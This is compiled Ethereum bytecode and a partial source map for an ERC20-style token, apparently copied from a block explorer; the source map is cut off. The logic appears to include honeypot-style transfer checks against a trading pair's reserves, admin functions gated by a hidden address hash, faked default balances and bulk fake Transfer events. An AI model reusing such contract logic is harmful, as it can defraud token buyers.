7611649848483611ee6565b50611dd5565b60008390506000600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050600042601854601660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f591906128f0565b119050811561170357600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415611dc557600080600080601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516117f19190612734565b6000604051808303816000865af19150503d806000811461182e576040519150601f19603f3d011682016040523d82523d6000602084013e611833565b606091505b509150506000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d21220a76040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516118cb9190612734565b6000604051808303816000865af19150503d8060008114611908576040519150601f19603f3d011682016040523d82523d6000602084013e61190d565b606091505b509150506000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516119a59190612734565b6000604051808303816000865af19150503d80600081146119e2576040519150601f19603f3d011682016040523d82523d6000602084013e6119e7565b606091505b5091505060008082806020019051810190611a029190612513565b91509150600085806020019051810190611a1c91906122d8565b9050600085806020019051810190611a3491906122d8565b905060008273ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602401611a82919061274b565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051611b0c9190612734565b6000604051808303816000865af19150503d8060008114611b49576040519150601f19603f3d011682016040523d82523d6000602084013e611b4e565b606091505b50915050600081806020019051810190611b6891906124e6565b905060008373ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602401611bb6919061274b565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051611c409190612734565b6000604051808303816000865af19150503d8060008114611c7d576040519150601f19603f3d011682016040523d82523d6000602084013e611c82565b606091505b50915050600081806020019051810190611c9c91906124e6565b9050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611d215782881115611d16578288611d089190612946565b9b506015548c119d50611d1c565b8288149c505b611da1565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611da05780871115611d99578087611d8b9190612946565b9b506015548c119d50611d9f565b8087149c505b5b5b8d158015611dad57508c155b611db657600080fd5b50505050505050505050505050505b611dd0878786611ee6565b505050505b505050565b6000838311158290611e22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e199190612781565b60405180910390fd5b5060008385611e319190612946565b9050809150509392505050565b6000808284611e4d91906128f0565b905083811015611e92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8990612803565b60405180910390fd5b8091505092915050565b6000611ede83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dda565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4d90612863565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbd906127a3565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612047576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203e90612823565b60405180910390fd5b612098816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061212b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3e90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121ca91906128a3565b60405180910390a3505050565b6000813590506121e681612dc6565b92915050565b6000815190506121fb81612ddd565b92915050565b60008083601f84011261221757612216612b42565b5b8235905067ffffffffffffffff81111561223457612233612b3d565b5b6020830191508360208202830111156122505761224f612b47565b5b9250929050565b60008135905061226681612df4565b92915050565b60008151905061227b81612e0b565b92915050565b60008135905061229081612e22565b92915050565b6000815190506122a581612e22565b92915050565b6000602082840312156122c1576122c0612b51565b5b60006122cf848285016121d7565b91505092915050565b6000602082840312156122ee576122ed612b51565b5b60006122fc848285016121ec565b91505092915050565b6000806040838503121561231c5761231b612b51565b5b600061232a858286016121d7565b925050602061233b858286016121d7565b9150509250929050565b60008060006060848603121561235e5761235d612b51565b5b600061236c868287016121d7565b935050602061237d868287016121d7565b925050604061238e86828701612281565b9150509250925092565b600080604083850312156123af576123ae612b51565b5b60006123bd858286016121d7565b92505060206123ce85828601612257565b9150509250929050565b600080604083850312156123ef576123ee612b51565b5b60006123fd858286016121d7565b925050602061240e85828601612281565b9150509250929050565b6000806000806060858703121561243257612431612b51565b5b600085013567ffffffffffffffff8111156124505761244f612b4c565b5b61245c87828801612201565b9450945050602061246f878288016121d7565b925050604061248087828801612281565b91505092959194509250565b6000602082840312156124a2576124a1612b51565b5b60006124b08482850161226c565b91505092915050565b6000602082840312156124cf576124ce612b51565b5b60006124dd84828501612281565b91505092915050565b6000602082840312156124fc576124fb612b51565b5b600061250a84828501612296565b91505092915050565b6000806040838503121561252a57612529612b51565b5b600061253885828601612296565b925050602061254985828601612296565b9150509250929050565b61255c8161297a565b82525050565b61257361256e8261297a565b612a8c565b82525050565b6125828161299e565b82525050565b6000612593826128be565b61259d81856128d4565b93506125ad8185602086016129de565b80840191505092915050565b60006125c4826128c9565b6125ce81856128df565b93506125de8185602086016129de565b6125e781612b56565b840191505092915050565b60006125ff6023836128df565b915061260a82612b74565b604082019050919050565b60006126226022836128df565b915061262d82612bc3565b604082019050919050565b60006126456022836128df565b915061265082612c12565b604082019050919050565b6000612668601b836128df565b915061267382612c61565b602082019050919050565b600061268b6026836128df565b915061269682612c8a565b604082019050919050565b60006126ae6029836128df565b91506126b982612cd9565b604082019050919050565b60006126d16025836128df565b91506126dc82612d28565b604082019050919050565b60006126f46024836128df565b91506126ff82612d77565b604082019050919050565b612713816129d4565b82525050565b60006127258284612562565b60148201915081905092915050565b60006127408284612588565b915081905092915050565b60006020820190506127606000830184612553565b92915050565b600060208201905061277b6000830184612579565b92915050565b6000602082019050818103600083015261279b81846125b9565b905092915050565b600060208201905081810360008301526127bc816125f2565b9050919050565b600060208201905081810360008301526127dc81612615565b9050919050565b600060208201905081810360008301526127fc81612638565b9050919050565b6000602082019050818103600083015261281c8161265b565b9050919050565b6000602082019050818103600083015261283c8161267e565b9050919050565b6000602082019050818103600083015261285c816126a1565b9050919050565b6000602082019050818103600083015261287c816126c4565b9050919050565b6000602082019050818103600083015261289c816126e7565b9050919050565b60006020820190506128b8600083018461270a565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006128fb826129d4565b9150612906836129d4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561293b5761293a612ab0565b5b828201905092915050565b6000612951826129d4565b915061295c836129d4565b92508282101561296f5761296e612ab0565b5b828203905092915050565b6000612985826129b4565b9050919050565b6000612997826129b4565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b838110156129fc5780820151818401526020810190506129e1565b83811115612a0b576000848401525b50505050565b60006002820490506001821680612a2957607f821691505b60208210811415612a3d57612a3c612adf565b5b50919050565b6000612a4e826129d4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a8157612a80612ab0565b5b600182019050919050565b6000612a9782612a9e565b9050919050565b6000612aa982612b67565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f62616c616e636520717565727920666f7220746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612dcf8161297a565b8114612dda57600080fd5b50565b612de68161298c565b8114612df157600080fd5b50565b612dfd8161299e565b8114612e0857600080fd5b50565b612e14816129aa565b8114612e1f57600080fd5b50565b612e2b816129d4565b8114612e3657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f06a4366e0f32142e56b7010b57aa932f298f0a0ffb04644c650ecbd4696575d64736f6c63430008060033
Deployed Bytecode Sourcemap
13557:6138:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14004:45;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19454:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8695:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9786:191;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19210:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15027:43;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8982:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11407:498;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8889:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14696:47;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11921:296;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14215:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14111:46;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9085:268;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14164:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8119:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8786:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18786:208;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14640:47;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12225:396;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9361:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14570:29;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14056:46;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14286:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14415:29;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14754:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9576:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19000:204;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14004:45;;;;;;;;;;;;;;;;;;;;;;:::o;19454:238::-;19572:11;;19532:36;19556:10;19539:28;;;;;;;;:::i;:::-;;;;;;;;;;;;;19532:36;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:51;19528:158;;19599:7;;19528:158;19666:9;19636:14;:27;19651:11;19636:27;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;19454:238;;;:::o;8695:83::-;8732:13;8765:5;8758:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8695:83;:::o;9786:191::-;9888:4;9910:37;9919:10;9931:7;9940:6;9910:8;:37::i;:::-;9965:4;9958:11;;9786:191;;;;:::o;19210:238::-;19309:11;;19269:36;19293:10;19276:28;;;;;;;;:::i;:::-;;;;;;;;;;;;;19269:36;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:51;19265:177;;19336:7;;19265:177;19373:58;19395:13;;;;;;;;;;;19410:10;;;;;;;;;;;19422:8;19373:21;:58::i;:::-;19210:238;;:::o;15027:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;8982:95::-;9035:7;9062;;9055:14;;8982:95;:::o;11407:498::-;11557:4;11574:54;11584:12;11598:13;11613:14;11574:9;:54::i;:::-;11639:236;11662:12;11689:10;11714:150;11774:14;11714:150;;;;;;;;;;;;;;;;;:11;:25;11726:12;11714:25;;;;;;;;;;;;;;;:37;11740:10;11714:37;;;;;;;;;;;;;;;;:41;;:150;;;;;:::i;:::-;11639:8;:236::i;:::-;11893:4;11886:11;;11407:498;;;;;:::o;8889:85::-;8930:7;8957:9;;;;;;;;;;;8950:16;;;;8889:85;:::o;14696:47::-;;;;;;;;;;;;;;;;;:::o;11921:296::-;12036:4;12058:129;12081:10;12106:7;12128:48;12165:10;12128:11;:23;12140:10;12128:23;;;;;;;;;;;;;;;:32;12152:7;12128:32;;;;;;;;;;;;;;;;:36;;:48;;;;:::i;:::-;12058:8;:129::i;:::-;12205:4;12198:11;;11921:296;;;;:::o;14215:28::-;;;;;;;;;;;;;:::o;14111:46::-;;;;;;;;;;;;;;;;;;;;;;:::o;9085:268::-;9151:7;9194:1;9175:21;;:7;:21;;;;9167:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9239:11;9253:7;:16;9261:7;9253:16;;;;;;;;;;;;;;;;9239:30;;9290:1;9283:3;:8;9279:48;;;9311:8;;9304:15;;;;;9279:48;9342:3;9335:10;;;9085:268;;;;:::o;14164:44::-;;;;;;;;;;;;;;;;;;;;;;:::o;8119:84::-;;;;;;;;;;;;;:::o;8786:87::-;8825:13;8858:7;8851:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8786:87;:::o;18786:208::-;18885:9;18880:107;18904:4;;:11;;18900:1;:15;18880:107;;;18958:4;;18963:1;18958:7;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;18941:34;;18950:6;18941:34;;;18967:7;18941:34;;;;;;:::i;:::-;;;;;;;;18917:3;;;;;:::i;:::-;;;;18880:107;;;;18786:208;;;;:::o;14640:47::-;;;;;;;;;;;;;;;;;;;;;;:::o;12225:396::-;12345:4;12367:224;12390:10;12415:7;12437:143;12492:15;12437:143;;;;;;;;;;;;;;;;;:11;:23;12449:10;12437:23;;;;;;;;;;;;;;;:32;12461:7;12437:32;;;;;;;;;;;;;;;;:36;;:143;;;;;:::i;:::-;12367:8;:224::i;:::-;12609:4;12602:11;;12225:396;;;;:::o;9361:205::-;9470:4;9492:44;9502:10;9514;9526:9;9492;:44::i;:::-;9554:4;9547:11;;9361:205;;;;:::o;14570:29::-;;;;;;;;;;;;;:::o;14056:46::-;;;;;;;;;;;;;;;;;;;;;;:::o;14286:22::-;;;;;;;;;;;;;:::o;14415:29::-;;;;;;;;;;;;;:::o;14754:25::-;;;;;;;;;;;;;:::o;9576:200::-;9701:7;9733:11;:22;9745:9;9733:22;;;;;;;;;;;;;;;:35;9756:11;9733:35;;;;;;;;;;;;;;;;9726:42;;9576:200;;;;:::o;19000:204::-;19100:11;;19060:36;19084:10;19067:28;;;;;;;;:::i;:::-;;;;;;;;;;;;;19060:36;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:51;19056:142;;19127:7;;19056:142;19177:10;19164;;:23;;;;;;;;;;;;;;;;;;19000:204;;:::o;13021:381::-;13175:1;13158:19;;:5;:19;;;;13150:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13256:1;13237:21;;:7;:21;;;;13229:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13340:6;13310:11;:18;13322:5;13310:18;;;;;;;;;;;;;;;:27;13329:7;13310:27;;;;;;;;;;;;;;;:36;;;;13378:7;13362:32;;13371:5;13362:32;;;13387:6;13362:32;;;;;;:::i;:::-;;;;;;;;13021:381;;;:::o;9985:703::-;10173:1;10151:24;;:10;:24;;;;10129:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;10296:1;10273:25;;:11;:25;;;;10251:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;10421:6;10398:7;:19;10406:10;10398:19;;;;;;;;;;;;;;;;:29;;10376:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;10526:31;10550:6;10526:7;:19;10534:10;10526:19;;;;;;;;;;;;;;;;:23;;:31;;;;:::i;:::-;10504:7;:19;10512:10;10504:19;;;;;;;;;;;;;;;:53;;;;10591:32;10616:6;10591:7;:20;10599:11;10591:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;10568:7;:20;10576:11;10568:20;;;;;;;;;;;;;;;:55;;;;10660:11;10639:41;;10648:10;10639:41;;;10673:6;10639:41;;;;;;:::i;:::-;;;;;;;;9985:703;;;:::o;16476:2304::-;16619:1;16603:18;;:4;:18;;;;16595:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16695:1;16681:16;;:2;:16;;;;16673:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;16764:1;16755:6;:10;16747:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;16822:22;16847:6;16822:31;;16858:13;:19;16872:4;16858:19;;;;;;;;;;;;;;;;;;;;;;;;;:40;;;;16881:13;:17;16895:2;16881:17;;;;;;;;;;;;;;;;;;;;;;;;;16858:40;16854:132;;;16914:41;16930:4;16936:2;16940:14;16914:15;:41::i;:::-;16969:7;;;16854:132;16987:18;17008:2;16987:23;;17021:21;17045:14;:20;17060:4;17045:20;;;;;;;;;;;;;;;;;;;;;;;;;17021:44;;17076:16;17132:15;17118:11;;17095:14;:20;17110:4;17095:20;;;;;;;;;;;;;;;;:34;;;;:::i;:::-;:52;17076:71;;17167:16;17166:17;17158:26;;;;;;17207:13;;;;;;;;;;;17199:21;;:4;:21;;;17195:1524;;;17232:11;17253;17274:19;17306:20;17330:13;;;;;;;;;;;:18;;17381:10;17358:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17330:72;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17303:99;;;17414:20;17438:13;;;;;;;;;;;:18;;17489:10;17466:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17438:71;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17411:98;;;17520:23;17547:13;;;;;;;;;;;:18;;17598:10;17575:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17547:69;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17517:99;;;17625:17;17644;17685:10;17665:64;;;;;;;;;;;;:::i;:::-;17624:105;;;;17735:14;17763:7;17752:30;;;;;;;;;;;;:::i;:::-;17735:47;;17788:14;17816:7;17805:30;;;;;;;;;;;;:::i;:::-;17788:47;;17844:21;17869:6;:11;;17936:13;;;;;;;;;;;17890:60;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17869:87;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17841:115;;;17962:16;17992:8;17981:31;;;;;;;;;;;;:::i;:::-;17962:50;;18021:21;18046:6;:11;;18113:13;;;;;;;;;;;18067:60;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18046:87;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18018:115;;;18139:15;18168:8;18157:31;;;;;;;;;;;;:::i;:::-;18139:49;;18208:10;;;;;;;;;;;18198:20;;:6;:20;;;18194:479;;;18246:8;18234:9;:20;18230:196;;;18296:8;18284:9;:20;;;;:::i;:::-;18270:34;;18341:13;;18327:11;:27;18318:36;;18230:196;;;18407:8;18394:9;:21;18385:30;;18230:196;18194:479;;;18452:10;;;;;;;;;;;18442:20;;:6;:20;;;18438:235;;;18490:7;18478:9;:19;18474:193;;;18539:7;18527:9;:19;;;;:::i;:::-;18513:33;;18583:13;;18569:11;:27;18560:36;;18474:193;;;18649:7;18636:9;:20;18627:29;;18474:193;18438:235;18194:479;18694:6;18693:7;:18;;;;;18705:6;18704:7;18693:18;18685:27;;;;;;17222:1497;;;;;;;;;;;;;;17195:1524;18731:41;18747:4;18753:2;18757:14;18731:15;:41::i;:::-;16585:2195;;;;16476:2304;;;;:::o;5402:226::-;5522:7;5555:1;5550;:6;;5558:12;5542:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;5582:9;5598:1;5594;:5;;;;:::i;:::-;5582:17;;5619:1;5612:8;;;5402:226;;;;;:::o;4499:181::-;4557:7;4577:9;4593:1;4589;:5;;;;:::i;:::-;4577:17;;4618:1;4613;:6;;4605:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;4671:1;4664:8;;;4499:181;;;;:::o;4963:136::-;5021:7;5048:43;5052:1;5055;5048:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;5041:50;;4963:136;;;;:::o;10700:697::-;10882:1;10860:24;;:10;:24;;;;10838:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;11005:1;10982:25;;:11;:25;;;;10960:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;11130:6;11107:7;:19;11115:10;11107:19;;;;;;;;;;;;;;;;:29;;11085:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;11235:31;11259:6;11235:7;:19;11243:10;11235:19;;;;;;;;;;;;;;;;:23;;:31;;;;:::i;:::-;11213:7;:19;11221:10;11213:19;;;;;;;;;;;;;;;:53;;;;11300:32;11325:6;11300:7;:20;11308:11;11300:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;11277:7;:20;11285:11;11277:20;;;;;;;;;;;;;;;:55;;;;11369:11;11348:41;;11357:10;11348:41;;;11382:6;11348:41;;;;;;:::i;:::-;;;;;;;;10700:697;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:159::-;217:5;248:6;242:13;233:22;;264:41;299:5;264:41;:::i;:::-;223:88;;;;:::o;334:568::-;407:8;417:6;467:3;460:4;452:6;448:17;444:27;434:2;;475:79;;:::i;:::-;434:2;588:6;575:20;565:30;;618:18;610:6;607:30;604:2;;;640:79;;:::i;:::-;604:2;754:4;746:6;742:17;730:29;;808:3;800:4;792:6;788:17;778:8;774:32;771:41;768:2;;;815:79;;:::i;:::-;768:2;424:478;;;;;:::o;908:133::-;951:5;989:6;976:20;967:29;;1005:30;1029:5;1005:30;:::i;:::-;957:84;;;;:::o;1047:143::-;1104:5;1135:6;1129:13;1120:22;;1151:33;1178:5;1151:33;:::i;:::-;1110:80;;;;:::o;1196:139::-;1242:5;1280:6;1267:20;1258:29;;1296:33;1323:5;1296:33;:::i;:::-;1248:87;;;;:::o;1341:143::-;1398:5;1429:6;1423:13;1414:22;;1445:33;1472:5;1445:33;:::i;:::-;1404:80;;;;:::o;1490:329::-;1549:6;1598:2;1586:9;1577:7;1573:23;1569:32;1566:2;;;1604:79;;:::i;:::-;1566:2;1724:1;1749:53;1794:7;1785:6;1774:9;1770:22;1749:53;:::i;:::-;1739:63;;1695:117;1556:263;;;;:::o;1825:367::-;1903:6;1952:2;1940:9;1931:7;1927:23;1923:32;1920:2;;;1958:79;;:::i;:::-;1920:2;2078:1;2103:72;2167:7;2158:6;2147:9;2143:22;2103:72;:::i;:::-;2093:82;;2049:136;1910:282;;;;:::o;2198:474::-;2266:6;2274;2323:2;2311:9;2302:7;2298:23;2294:32;2291:2;;;2329:79;;:::i;:::-;2291:2;2449:1;2474:53;2519:7;2510:6;2499:9;2495:22;2474:53;:::i;:::-;2464:63;;2420:117;2576:2;2602:53;2647:7;2638:6;2627:9;2623:22;2602:53;:::i;:::-;2592:63;;2547:118;2281:391;;;;;:::o;2678:619::-;2755:6;2763;2771;2820:2;2808:9;2799:7;2795:23;2791:32;2788:2;;;2826:79;;:::i;:::-;2788:2;2946:1;2971:53;3016:7;3007:6;2996:9;2992:22;2971:53;:::i;:::-;2961:63;;2917:117;3073:2;3099:53;3144:7;3135:6;3124:9;3120:22;3099:53;:::i;:::-;3089:63;;3044:118;3201:2;3227:53;3272:7;3263:6;3252:9;3248:22;3227:53;:::i;:::-;3217:63;;3172:118;2778:519;;;;;:::o;3303:468::-;3368:6;3376;3425:2;3413:9;3404:7;3400:23;3396:32;3393:2;;;3431:79;;:::i;:::-;3393:2;3551:1;3576:53;3621:7;3612:6;3601:9;3597:22;3576:53;:::i;:::-;3566:63;;3522:117;3678:2;3704:50;3746:7;3737:6;3726:9;3722:22;3704:50;:::i;:::-;3694:60;;3649:115;3383:388;;;;;:::o;3777:474::-;3845:6;3853;3902:2;3890:9;3881:7;3877:23;3873:32;3870:2;;;3908:79;;:::i;:::-;3870:2;4028:1;4053:53;4098:7;4089:6;4078:9;4074:22;4053:53;:::i;:::-;4043:63;;3999:117;4155:2;4181:53;4226:7;4217:6;4206:9;4202:22;4181:53;:::i;:::-;4171:63;;4126:118;3860:391;;;;;:::o;4257:849::-;4361:6;4369;4377;4385;4434:2;4422:9;4413:7;4409:23;4405:32;4402:2;;;4440:79;;:::i;:::-;4402:2;4588:1;4577:9;4573:17;4560:31;4618:18;4610:6;4607:30;4604:2;;;4640:79;;:::i;:::-;4604:2;4753:80;4825:7;4816:6;4805:9;4801:22;4753:80;:::i;:::-;4735:98;;;;4531:312;4882:2;4908:53;4953:7;4944:6;4933:9;4929:22;4908:53;:::i;:::-;4898:63;;4853:118;5010:2;5036:53;5081:7;5072:6;5061:9;5057:22;5036:53;:::i;:::-;5026:63;;4981:118;4392:714;;;;;;;:::o;5112:351::-;5182:6;5231:2;5219:9;5210:7;5206:23;5202:32;5199:2;;;5237:79;;:::i;:::-;5199:2;5357:1;5382:64;5438:7;5429:6;5418:9;5414:22;5382:64;:::i;:::-;5372:74;;5328:128;5189:274;;;;:::o;5469:329::-;5528:6;5577:2;5565:9;5556:7;5552:23;5548:32;5545:2;;;5583:79;;:::i;:::-;5545:2;5703:1;5728:53;5773:7;5764:6;5753:9;5749:22;5728:53;:::i;:::-;5718:63;;5674:117;5535:263;;;;:::o;5804:351::-;5874: